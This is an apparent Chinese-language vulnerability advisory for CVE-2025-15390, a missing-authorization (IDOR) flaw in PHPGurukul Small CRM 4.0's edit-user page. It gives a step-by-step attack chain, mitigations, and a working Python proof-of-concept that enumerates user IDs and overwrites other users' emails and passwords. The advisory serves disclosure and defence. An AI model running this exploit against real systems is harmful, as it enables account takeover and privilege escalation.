IPBUF安全漏洞报告
English
CVE-2025-15390 CVSS 6.3 中危

CVE-2025-15390 PHPGurukul Small CRM 4.0 /admin/edit-user.php 缺少授权漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2025-15390
漏洞类型
访问控制
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Small CRM 4.0

相关标签

CVE-2025-15390访问控制失效IDORBroken Access ControlPHPGurukulSmall CRM权限绕过未授权访问Web应用漏洞身份认证漏洞

漏洞概述

CVE-2025-15390是PHPGurukul Small CRM 4.0系统中发现的一个中等严重性安全漏洞。该漏洞存在于/admin/edit-user.php文件中,由于系统对用户编辑功能的授权检查机制存在缺陷,导致低权限用户可以在未经适当授权的情况下访问和修改其他用户的账户信息。攻击者可以利用此漏洞绕过正常的访问控制流程,对系统中的任意用户进行信息编辑操作,包括修改密码、角色和其他敏感信息。该漏洞的CVSS评分为6.3,属于中等严重级别,攻击向量为网络形式,认证要求为低权限,意味着任何具有基本系统账户的攻击者都可以尝试利用此漏洞。由于该漏洞的利用代码已被公开发布,攻击者可以轻易获取并用于实际攻击,对使用该系统的企业造成严重的安全威胁。攻击成功后,攻击者可以提升权限、窃取敏感数据或进一步渗透系统。

技术细节

该漏洞属于Broken Access Control(访问控制失效)类型,具体表现为/admin/edit-user.php文件在处理用户编辑请求时未正确验证当前用户的权限和身份。具体问题包括:1) 文件在接收edit-user.php的GET请求时,通过用户ID参数直接查询并展示用户信息,而未验证当前登录用户是否有权查看和编辑该ID对应的用户资料;2) 在POST请求处理编辑操作时,同样缺少服务端权限验证,仅依赖客户端的表单提交;3) 系统未对edit-user.php页面设置适当的访问控制策略,允许任何已认证用户访问该功能。攻击者可以通过以下方式利用:首先使用低权限账户登录系统,然后遍历用户ID或直接访问/admin/edit-user.php?id=[target_id]来查看和编辑目标用户信息。由于缺少CSRF令牌保护,攻击者还可以构造恶意请求诱导管理员执行未授权操作。修复方案需要在服务端实现完整的权限检查逻辑,确保用户只能编辑自己有权限修改的账户。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的一个低权限账户,可以是普通用户或客户账户
STEP 2
步骤2
攻击者使用该低权限账户登录Small CRM系统,建立有效会话
STEP 3
步骤3
攻击者直接访问/admin/edit-user.php?id=[目标用户ID],利用IDOR漏洞绕过访问控制
STEP 4
步骤4
系统未验证当前用户权限,直接返回目标用户的信息编辑页面
STEP 5
步骤5
攻击者修改目标用户的关键信息,如邮箱、密码、角色等
STEP 6
步骤6
提交修改请求,系统执行更新操作,成功修改目标用户数据
STEP 7
步骤7
攻击者使用修改后的凭据登录目标账户,获得更高权限或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-15390 PoC - PHPGurukul Small CRM 4.0 Broken Access Control # Target: /admin/edit-user.php base_url = "http://target.com/small-crm/" # Step 1: Login with low privilege account login_url = base_url + "index.php" session = requests.Session() login_data = { "email": "[email protected]", "password": "attacker_password", "login": "Submit" } response = session.post(login_url, data=login_data) print("Login attempt: " + ("Success" if "dashboard" in response.url else "Failed")) # Step 2: Access edit-user.php with target user ID (IDOR) # Enumerate user IDs or directly access known admin ID for user_id in range(1, 10): edit_url = base_url + f"admin/edit-user.php?id={user_id}" response = session.get(edit_url) if "edit-user" in response.text and response.status_code == 200: print(f"[*] Successfully accessed user ID: {user_id}") # Step 3: Modify user information edit_data = { "id": user_id, "fname": "Hacked", "lname": "By Attacker", "email": "[email protected]", "mobno": "1234567890", "password": "new_admin_password", "update": "Submit" } update_response = session.post(edit_url, data=edit_data) print(f"[*] Attempted to modify user ID {user_id}") if "updated successfully" in update_response.text.lower(): print(f"[!] VULNERABLE: User ID {user_id} has been modified!") # Note: This PoC demonstrates the IDOR vulnerability in edit-user.php # The application fails to verify if the current user has permission to edit the target user

影响范围

PHPGurukul Small CRM 4.0

防御指南

临时缓解措施
在修复补丁发布之前,可采取以下临时缓解措施:1) 限制/admin/edit-user.php页面仅允许管理员IP访问;2) 在Web应用防火墙(WAF)中配置规则,监控和阻止对edit-user.php的异常访问模式;3) 定期审计系统日志,检测是否存在未授权的用户信息修改行为;4) 启用双因素认证,降低账户被盗用后的影响范围;5) 对数据库中的用户表实施更严格的访问控制策略;6) 考虑暂时禁用用户编辑功能,直到官方发布安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表